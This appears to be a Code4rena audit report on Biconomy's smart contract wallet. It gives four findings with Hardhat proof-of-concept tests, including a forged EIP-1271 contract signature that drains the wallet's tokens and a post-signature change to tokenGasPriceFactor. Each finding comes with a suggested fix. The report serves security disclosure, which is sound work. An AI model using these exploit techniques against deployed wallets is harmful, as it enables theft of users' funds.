Biconomy - Smart Contract Wallet contest - immeas's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Description

The checkSignatures in SmartAccount is copied from Gnosis. Gnosis wallets can have multiple owners some being contracts. To handle this Gnosis implements EIP-1271 to handle contract signing. Gnosis then verifies that the signing contract is one of the owners of the wallet.

In Smart Contract Wallets however the code for contract signing is still there (even though the owners should only be EOAs according to their docs). However the is no verification that the signing contract has anything to do with owner.

An attacker can deploy a contract that implements ISignatureValidator and use it to execute any transaction on behalf of the wallet.

Impact

Using an EIP-1271 SignatureValidation contract an attacker can execute any transaction on behalf of the wallet. Stealing all the assets or claiming ownership.

Proof of Concept

PoC stealing all assets in testGroup1.ts

  it("attacker can steal all assets using a SignatureValidation contract", async function () {
    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    let attacker = await accounts[3].getAddress();

    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(attacker, ethers.utils.parseEther("100").toString()),
      nonce: await userSCW.getNonce(0),
    });

    console.log(safeTx);

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    const SignatureValidator = await ethers.getContractFactory("SignatureValidator");
    const sigVal = await SignatureValidator.deploy();
    await sigVal.deployed();
    console.log("SignatureValidator deployed at: ", sigVal.address);

    let signature = "0x";
    // address in r
    signature += "000000000000000000000000" + sigVal.address.slice(2);
    // s, needs to be >65
    signature += "0000000000000000000000000000000000000000000000000000000000000042";
    // v = 0, to trigger contract signature
    signature += "0000";
    // extra bytes to make s point into signatures
    signature += "0000000000000000000000000000000000000000000000000000000000000000";
    
    await expect(
      // attacker connects to wallet
      userSCW.connect(accounts[3]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");
    
    // attacker took it all
    expect(await token.balanceOf(attacker)).to.equal(
      ethers.utils.parseEther("100")
    );

    expect(await token.balanceOf(userSCW.address)).to.equal(
      ethers.utils.parseEther("0")
    );
  });

With simplest SignatureValidator:

contract SignatureValidator {

    bytes4 internal constant EIP1271_MAGIC_VALUE = 0x20c13b0b;

    function isValidSignature(bytes memory, bytes memory) public pure returns (bytes4) {
        return EIP1271_MAGIC_VALUE;
    }
}

Tools Used

vs code, hardhat

Recommended Mitigation Steps

If the smart contract wallets only are going to have EOAs as owners, code to handle contracts as owners is not needed.

The whole lump of code handling v == 0 can be removed.

Or if the documentation is wrong and contracts can be owners you need to check that _signer == owner also for the contract verification (as Gnosis does).

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L431-L443

Vulnerability details

Description

tokenGasPriceFactor is used to calculate how much tokens that are going to be returned to cover gas costs:

File: SmartAccount.sol

263:        } else {
264:            payment = (gasUsed + baseGas) * (gasPrice) / (tokenGasPriceFactor);
265:            require(transferToken(gasToken, receiver, payment), "BSA012");
266:        }

However, it is not included in the data that is used for signature:

File: SmartAccout.sol

424:    function encodeTransactionData(
425:        Transaction memory _tx,
426:        FeeRefund memory refundInfo,
427:        uint256 _nonce
428:    ) public view returns (bytes memory) {
429:        bytes32 safeTxHash =
430:            keccak256(
431:               abi.encode(
432:                    ACCOUNT_TX_TYPEHASH,
433:                    _tx.to,
434:                    _tx.value,
435:                    keccak256(_tx.data),
436:                    _tx.operation,
437:                    _tx.targetTxGas,
438:                    refundInfo.baseGas,
439:                    refundInfo.gasPrice,
440:                    refundInfo.gasToken,
441:                    refundInfo.refundReceiver, // no tokenGasPriceFactor
442:                    _nonce
443:                )
444:            );
445:        return abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator(), safeTxHash);
446:    }

An attacker can get the owner to sign a message with one tokenGasPriceFactor and then submit another to the wallet, either to maximize or minimize gasPayment returned.

Impact

tokenGasPriceFactor can be changed after signature to maximize or minimize tokens refunded for gas.

Proof of Concept

Modified can send transactions and charge wallet for fees in erc20 tokens in testGroup1.ts to show that tokenGasPriceFactor can be modified after signature:

  it("can send transactions and charge wallet for fees in erc20 tokens", async function () {
    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    const tokenBalanceBefore = await token.balanceOf(bob);
    console.log("bob before",tokenBalanceBefore.toString());

    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      // value: ethers.utils.parseEther("1"),
      data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()),
      nonce: await userSCW.getNonce(0),
    });

    const gasEstimate1 = await ethers.provider.estimateGas({
      to: token.address,
      data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()),
      from: userSCW.address,
    });

    const chainId = await userSCW.getChainId();

    safeTx.refundReceiver = "0x0000000000000000000000000000000000000000";
    safeTx.gasToken = token.address;
    safeTx.gasPrice = 1000000000000; // this would be token gas price
    safeTx.targetTxGas = gasEstimate1.toNumber();
    safeTx.baseGas = 21000 + gasEstimate1.toNumber() - 21000; // base plus erc20 token transfer

    const { signer, data } = await safeSignTypedData(
      accounts[0],
      userSCW,
      safeTx,
      chainId
    );
    
    let signature = "0x";
    signature += data.slice(2);

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: 1000000000000000, // change tokenGasPriceFactor after signature
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    await expect(
      userSCW.connect(accounts[1]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature,
        { gasPrice: safeTx.gasPrice }
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    expect(await token.balanceOf(charlie)).to.equal(
      ethers.utils.parseEther("10")
    );

    const tokenBalanceAfter = await token.balanceOf(bob);
    console.log("bob after",tokenBalanceAfter.toString()); // bob receives almost nothing
  });

Tools Used

hardhat, vscode

Recommended Mitigation Steps

include tokenGasPriceFactor in the encoded transaction data

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L511

Vulnerability details

Description

from EIP-4337:

Highlighted the important points in bold:

The account

• MUST validate the caller is a trusted EntryPoint The userOpHash is a hash over the userOp (except signature), entryPoint and chainId
• If the account does not support signature aggregation, it MUST validate the signature is a valid signature of the userOpHash, and SHOULD return SIG_VALIDATION_FAILED (and not revert) on signature mismatch. Any other error should revert.
• MUST pay the entryPoint (caller) at least the “missingAccountFunds” (which might be zero, in case current account’s deposit is high enough)
• The account MAY pay more than this minimum, to cover future transactions (it can always issue withdrawTo to retrieve it)
• The aggregator SHOULD be ignored for accounts that don’t use an aggregator
• The return value is packed of sigFailure, validUntil and validAfter timestamps.
  • sigFailure is 1 byte value of “1” the signature check failed (should not revert on signature failure, to support estimate)
  • validUntil is 8-byte timestamp value, or zero for “infinite”. The UserOp is valid only up to this time.
  • validAfter is 8-byte timestamp. The UserOp is valid only after this time.

SmartAccount reverts on signature failure instead of returning sigFailure (1).

Impact

Other contracts assuming SmartAccount is a EIP-4337 compliant might not work properly

Proof of Concept

validateUserOp in BaseSmartAccount:

File: BaseSmartAccount.sol

60:    function validateUserOp(UserOperation calldata userOp, bytes32 userOpHash, address aggregator, uint256 missingAccountFunds)
61:    external override virtual returns (uint256 deadline) {
62:        _requireFromEntryPoint();
63:        deadline = _validateSignature(userOp, userOpHash, aggregator);
64:        if (userOp.initCode.length == 0) {
65:            _validateAndUpdateNonce(userOp);
66:        }
67:        _payPrefund(missingAccountFunds);
68:    }

If you look at the implementation of _validateSignature in SmartAccount.sol:

File: SmartAccount.sol

506:    function _validateSignature(UserOperation calldata userOp, bytes32 userOpHash, address)
507:    internal override virtual returns (uint256 deadline) {
508:        bytes32 hash = userOpHash.toEthSignedMessageHash();
509:        //ignore signature mismatch of from==ZERO_ADDRESS (for eth_callUserOp validation purposes)
510:        // solhint-disable-next-line avoid-tx-origin
511:        require(owner == hash.recover(userOp.signature) || tx.origin == address(0), "account: wrong signature");
512:        return 0;
513:    }

If the signature is invalid the call is reverted. Compare this to validateSignature in the reference implementation: https://github.com/eth-infinitism/account-abstraction/blob/develop/contracts/samples/SimpleAccount.sol#L107-L113

107:    function _validateSignature(UserOperation calldata userOp, bytes32 userOpHash, address)
108:    internal override virtual returns (uint256 sigTimeRange) {
109:        bytes32 hash = userOpHash.toEthSignedMessageHash();
110:        if (owner != hash.recover(userOp.signature))
111:            return SIG_VALIDATION_FAILED;
112:        return 0;
113:    }

The reference implementation returns SIG_VALIDATION_FAILED (which is = 1) according to the EIP-4337 specification.

Recommended Mitigation Steps

Change to return 1 instead of revert:

diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
index c4f69a8..df09959 100644
--- a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
@@ -508,7 +508,9 @@ contract SmartAccount is
         bytes32 hash = userOpHash.toEthSignedMessageHash();
         //ignore signature mismatch of from==ZERO_ADDRESS (for eth_callUserOp validation purposes)
         // solhint-disable-next-line avoid-tx-origin
-        require(owner == hash.recover(userOp.signature) || tx.origin == address(0), "account: wrong signature");
+        if(!(owner == hash.recover(userOp.signature) || tx.origin == address(0))) {
+            return SIG_VALIDATION_FAILED;
+        }
         return 0;
     }

SIG_VALIDATION_FAILED can be defined in Base to be = 1 like in the reference implementation.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L460-L461 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L465-L466

Vulnerability details

Description

execute and executeBatch in SmartAccount.sol can only be called by owner, not EntryPoint:

File: SmartAccount.sol

460:    function execute(address dest, uint value, bytes calldata func) external onlyOwner{
461:        _requireFromEntryPointOrOwner();
462:        _call(dest, value, func);
463:    }
464:
465:    function executeBatch(address[] calldata dest, bytes[] calldata func) external onlyOwner{
466:        _requireFromEntryPointOrOwner();
467:        require(dest.length == func.length, "wrong array lengths");
468:        for (uint i = 0; i < dest.length;) {
469:            _call(dest[i], 0, func[i]);
470:            unchecked {
471:                ++i;
472:            }
473:        }
474:    }

From EIP-4337:

• Call the account with the UserOperation’s calldata. It’s up to the account to choose how to parse the calldata; an expected workflow is for the account to have an execute function that parses the remaining calldata as a series of one or more calls that the account should make.

Impact

This breaks the interaction with EntryPoint

Proof of Concept

The reference implementation has both these functions without any onlyOwner modifiers:

https://github.com/eth-infinitism/account-abstraction/blob/develop/contracts/samples/SimpleAccount.sol#L56-L73

56:    /**
57:     * execute a transaction (called directly from owner, not by entryPoint)
58:     */
59:    function execute(address dest, uint256 value, bytes calldata func) external {
60:        _requireFromEntryPointOrOwner();
61:        _call(dest, value, func);
62:    }
63:
64:    /**
65:     * execute a sequence of transaction
66:     */
67:    function executeBatch(address[] calldata dest, bytes[] calldata func) external {
68:        _requireFromEntryPointOrOwner();
69:        require(dest.length == func.length, "wrong array lengths");
70:        for (uint256 i = 0; i < dest.length; i++) {
71:            _call(dest[i], 0, func[i]);
72:        }
73:    }

Tools Used

vscode

Recommended Mitigation Steps

Remove onlyOwner modifier from execute and executeBatch